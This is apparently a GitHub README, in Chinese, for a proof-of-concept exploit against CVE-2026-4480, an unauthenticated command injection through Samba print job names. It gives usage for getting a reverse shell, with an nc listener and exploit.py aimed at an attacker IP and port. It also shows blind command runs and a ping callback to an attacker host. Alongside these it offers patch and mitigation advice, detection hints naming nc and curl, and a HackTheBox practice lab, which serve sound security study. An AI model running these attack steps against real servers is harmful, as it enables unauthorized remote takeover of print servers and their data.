TheCyberGeek/CVE-2026-4480-PoC
GitHub: TheCyberGeek/CVE-2026-4480-PoC
CVE-2026-4480 的 PoC 利用工具,通过 Samba 打印作业名称中的 shell 元字符注入实现未授权远程命令执行。
Stars: 12 | Forks: 3
# CVE-2026-4480: Samba print-command (`%J`) 注入 PoC
Samba 的打印子系统中存在无需身份验证的远程命令执行。当打印作业完成后台打印处理时,Samba 会通过 `system()` 运行配置的 `print command`,并将 `%s`(后台打印文件路径)和 `%J`(客户端提供的作业名称)替换到字符串中。在修复之前,作业名称仅经过 `'` → `_` 的单一转换,没有进行其他处理,因此 `|`、`;`、`&`、空格、`<`、`>` 和反引号等字符都会直接传递给 shell。因此,引用了 `%J` 的 `print command` 就成了一个 shell 注入接收点,而且由于访客可以提交打印作业,此问题是**无需身份验证**的。
- **CVE:** CVE-2026-4480
- **CVSS:** 10.0
- **修复版本:** Samba 4.22.10, 4.23.8, 4.24.3
- **受影响范围:** 运行引用了 `%J` 的外部 `print command` 的打印后端(`printing = sysv` 风格)。`printing = cups` / `iprint` 通过 CUPS API 处理,**不受**影响。
## 要求
- 带有 Samba Python 绑定的 Linux:
sudo apt install python3-samba
- 可访问目标 SMB 端口(445/139)的网络。
- 目标上存在一个**访客可访问的打印机共享**,且其 `print command` 引用了 `%J`。
## 用法
```
python3 exploit.py [-P PRINTER] [-c CMD]
```
| 参数 / 选项 | 含义 |
| --------------- | --------------------------------------------------- |
| `rhost` | 目标 Samba 主机 / IP |
| `lhost` | 你的监听 IP |
| `lport` | 你的监听端口 |
| `-P, --printer` | 访客打印机共享名称(默认:`HP-Reception`) |
| `-c, --cmd` | 运行任意命令,而不是反弹 shell |
### 反弹 shell
```
# terminal 1: 监听器
nc -lvnp 4444
# terminal 2: 触发 exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
```
你应该会获取到打印服务账户(例如 `nobody`)的 shell。
### 运行单个命令(盲注)
```
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
```
由于执行是盲注的(命令在服务器端运行,并且不会在 RPC 通道上返回任何内容),请首先在带外进行确认,例如使用 `tcpdump -ni tun0 icmp` 监听的 ICMP 回调:
```
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
```
## 检测 / 缓解
- 打补丁至 4.22.10 / 4.23.8 / 4.24.3(或更高版本)。
- 如果无法打补丁,请为宏添加引号:`print command = /usr/local/bin/print-helper %s '%J'`,去掉 `%J`,或者迁移到 `printing = cups`。
- 排查 `smbd` 衍生出 shell(`sh`/`bash`/`nc`/`python`/`curl`)的情况,并记录包含 shell 元字符的名称。
## 在 HackTheBox 上实践
我在 **HackTheBox** 上创建了一个名为 [Abducted](https://app.hackthebox.com/machines/Abducted) 的靶机,用于展示此漏洞,并为你提供一个关于攻击者如何在配置错误的环境中利用此漏洞的实践示例。
标签:PoC, Samba, XXE攻击, 威胁模拟, 暴力破解, 远程命令执行, 逆向工具